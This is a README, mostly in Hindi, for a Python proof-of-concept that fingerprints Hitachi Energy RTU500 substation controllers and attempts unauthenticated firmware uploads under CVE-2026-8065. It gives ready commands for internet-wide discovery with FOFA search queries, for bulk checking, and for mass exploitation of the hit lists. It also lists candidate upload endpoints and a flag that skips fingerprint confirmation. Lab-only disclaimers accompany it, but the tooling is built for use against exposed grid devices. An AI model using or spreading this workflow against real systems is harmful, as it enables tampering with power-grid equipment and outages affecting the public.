murrez/cve-2026-8065CVE-2026-8065 के लिए Python PoC: Hitachi Energy RTU500 उपकरणों की फिंगरप्रिंटिंग करता है और अनऑथेंटिकेटेड अपलोड के लिए फर्मवेयर अपडेट एंडपॉइंट्स की जाँच करता है, साथ में check, exploit और mass-scan मोड्स उपलब्ध हैं।
CVE-2026-8065 के लिए Python 3 PoC — Hitachi Energy RTU500 Series CMU Firmware — फ़र्मवेयर अपडेट HTTP एंडपॉइंट पर प्रमाणीकरण बायपास (CWE-306)। CVSS 3.1 9.1 क्रिटिकल (IoT/OT)।
| PoCbit | https://pocbit.org/pocs/cve-2026-8065 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-8065 |
| वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-306 महत्वपूर्ण फ़ंक्शन के लिए प्रमाणीकरण अनुपस्थित |
| प्रभाव | अनधिप्रमाणित मनमाना फ़र्मवेयर अपलोड → सबस्टेशन RTU की अखंडता / उपलब्धता |
RTU500, ऊर्जा पारेषण/वितरण क्षेत्र में उपयोग किया जाने वाला Remote Terminal Unit (दूरस्थ टर्मिनल) परिवार है; वेब सर्वर के माध्यम से CMU firmware प्रबंधन किया जाता है। CVE-2026-8065 में, firmware अपडेट एंडपॉइंट प्रमाणीकरण के बिना (या craft किए गए POST के माध्यम से बायपास करके) सुलभ हो जाता है; हमलावर मनमाना firmware अपलोड करके डिवाइस की कार्यक्षमता बदल सकता है, अखंडता भंग कर सकता है या DoS उत्पन्न कर सकता है।
इसका अर्थ ऑटोमेशन नेटवर्क में PR:N के साथ दूरस्थ रूप से गंभीर OT प्रभाव है — इसका परीक्षण केवल अधिकृत आइसोलेशन प्रयोगशाला में या vendor-अनुमोदित pentest के दायरे में ही किया जाना चाहिए।
Vendor (CNA) प्रभावित: RTU500 Series CMU Firmware — 9.0 और 12.0 संस्करण श्रृंखलाएँ (custom versioning; नवीनतम advisory और 13.8.2+ patch नोट्स देखें)।
Hitachi Energy ने CVE-2026-8065 आवंटित किया (प्रकाशित 2026-09-29):
Hitachi Energy RTU500 के फ़र्मवेयर अपडेट एंडपॉइंट में एक प्रमाणीकरण बायपास भेद्यता एक अनधिप्रमाणित हमलावर को तैयार किए गए POST अनुरोध के माध्यम से मनमाना फ़र्मवेयर अपलोड करने की अनुमति देती है।
CVE-2024-2617 (प्रमाणित उपयोगकर्ता द्वारा सुरक्षित अपडेट अक्षम होने पर बायपास) के विपरीत, CVE-2026-8065 अपडेट फ़ंक्शन तक ही अनधिप्रमाणित पहुँच है — एक सुरक्षा-महत्वपूर्ण OT सतह पर पूर्ण CWE-306 अंतराल।
सार्वजनिक सलाहों में सटीक URI अभी सूचीबद्ध नहीं हो सकता है; RTU500 दस्तावेज़ीकरण Configuration Management / वेब सर्वर फ़ाइल ट्रांसफ़र के माध्यम से फ़र्मवेयर प्रबंधन का वर्णन करता है। यह PoC RTU500 की फ़िंगरप्रिंटिंग करता है और संभावित फ़र्मवेयर POST पथों की एक चयनित सूची की जाँच करता है, फिर (एक्सप्लॉइट मोड में) अनधिप्रमाणित स्वीकृति प्रतिक्रियाओं का पता लगाने के लिए एक गैर-उत्पादन प्रोब ब्लॉब (POCBIT-8065-FW-PROBE) भेजता है।
| मोड | व्यवहार |
|---|---|
| check | मल्टी-पोर्ट HTTP(S) प्रोब, RTU500 HTML मार्कर, CMU संस्करण रेगेक्स, फ़र्मवेयर पथों पर GET प्रोब |
| exploit | सत्र कुकी के बिना POST मल्टीपार्ट नकली .fw; 2xx + स्वीकृति ह्यूरिस्टिक्स होने पर exploited |
| mass | --list + -j; hits.txt / exploited.txt |
--dry-run | एक्सप्लॉइट: केवल GET फ़र्मवेयर पथ प्रोब (कोई POST नहीं) |
--lab | स्थानीय मॉक RTU500 — exploited: true दिखाना चाहिए (सैनिटी जाँच) |
--force | RTU500 HTML फ़िंगरप्रिंट के बिना एक्सप्लॉइट |
--firmware-paths | जब विक्रेता पथ ज्ञात हो तो पथ सूची ओवरराइड करें (कॉमा-सेपरेटेड) |
JSONL: pocbit, pocbit_catalog, pocbit_page, cve, vendor, product।
सुरक्षा: डिफ़ॉल्ट एक्सप्लॉइट पेलोड एक वैध CMU फ़्लैश इमेज नहीं है — केवल पहचान के लिए एक मार्कर + पैडिंग। आइसोलेशन और विक्रेता समन्वय के बिना कभी भी एक्सप्लॉइट मोड को लाइव ग्रिड उपकरणों पर न लक्षित करें।
cd CVE-2026-8065
pip install -r requirements.txt
python poc.py -u https://192.168.1.10 --mode check
python poc.py -u https://192.168.1.10 --mode exploit --dry-run
python poc.py -u https://192.168.1.10 --mode exploit
python poc.py -u https://192.168.1.10 --mode exploit --firmware-paths /api/firmware/update
--list --mode check के साथ bulk डिफ़ॉल्ट रूप से सक्षम: प्रति लक्ष्य 1–2 GET (सूची URL + यदि आवश्यक हो तो http/https), 16 firmware path स्कैन नहीं, छोटा timeout (4s connect, 10s read), डिफ़ॉल्ट -j 32।
python _format_fofa.py fofa_csv_1000.csv
python poc.py --list fofa_targets_rtu_priority.txt --mode check -j 40
python poc.py --list fofa_csv_1000.csv --mode check -j 50 --timeout 8
python poc.py --list targets.txt --mode check --full -j 20 # yavaş: çoklu port + tüm firmware GET
python poc.py --list hits.txt --mode exploit -j 8 --timeout 25
CLI में प्रगति: [done/total target/s]; हिट्स तुरंत HIT के रूप में लिखे जाते हैं।
cert="Hitachi" FOFA सूची बहुत शोरगुल वाली है; CSV में rtu_priority के साथ पहले प्राथमिकता सूची को स्कैन करें। Check hit ≠ वास्तविक RTU: जिन कॉर्पोरेट SPA पेजों पर केवल hitachi energy होता है, वे vendor_branding_only / vendor_branding_spa_false_positive बन जाते हैं; exploit के लिए rtu500 / rtutil500 / cmu firmware जैसे strong fingerprint आवश्यक हैं (अन्यथा --force)।
python poc.py --lab
python poc.py --list fofa_targets_rtu_priority.txt --mode check --full -j 20
python poc.py --list hits.txt --mode exploit --dry-run -j 8
PoC रोटेट करता है (GET जाँच / POST शोषण):
/api/firmware/update, /api/firmware/upload, /api/v1/firmware/update/firmware/update, /firmware/upload, /ws/firmware/update/CMU/firmware/upload, /ConfigurationManagement/Firmware/configuration/management/firmware, /FileUpload/Firmware/scripts/firmwareUpload, /cgi-bin/firmware, /admin/firmware/uploadजब Hitachi सटीक पथ प्रकाशित करता है, तो --firmware-paths को केवल उसी URI पर सेट करें।
title="RTU500" || body="RTU500" || body="Configuration Management"
body="Hitachi Energy" && (body="RTU" || body="CMU")
cert="Hitachi" && port="443"
body="RTUtil500" || body="rtutil500"
OT नेटवर्क में FOFA अनुपलब्ध हो सकता है; CMMS / IP योजना / VPN jump की सूची को targets.txt बनाएं।
केवल अधिकृत सबस्टेशन/प्रयोगशाला परीक्षण। OT उपकरणों पर अनधिकृत फर्मवेयर हेरफेर कानून और ग्रिड सुरक्षा नियमों का उल्लंघन कर सकता है।
CVE-2026-8065 PoC: Hitachi Energy RTU500 unauth firmware update bypass (CWE-306, CVSS 9.1). IoT/OT colored check + mass exploit — RTU500 fingerprint, firmware endpoint probe, lab-safe upload test. https://pocbit.org/pocs/cve-2026-8065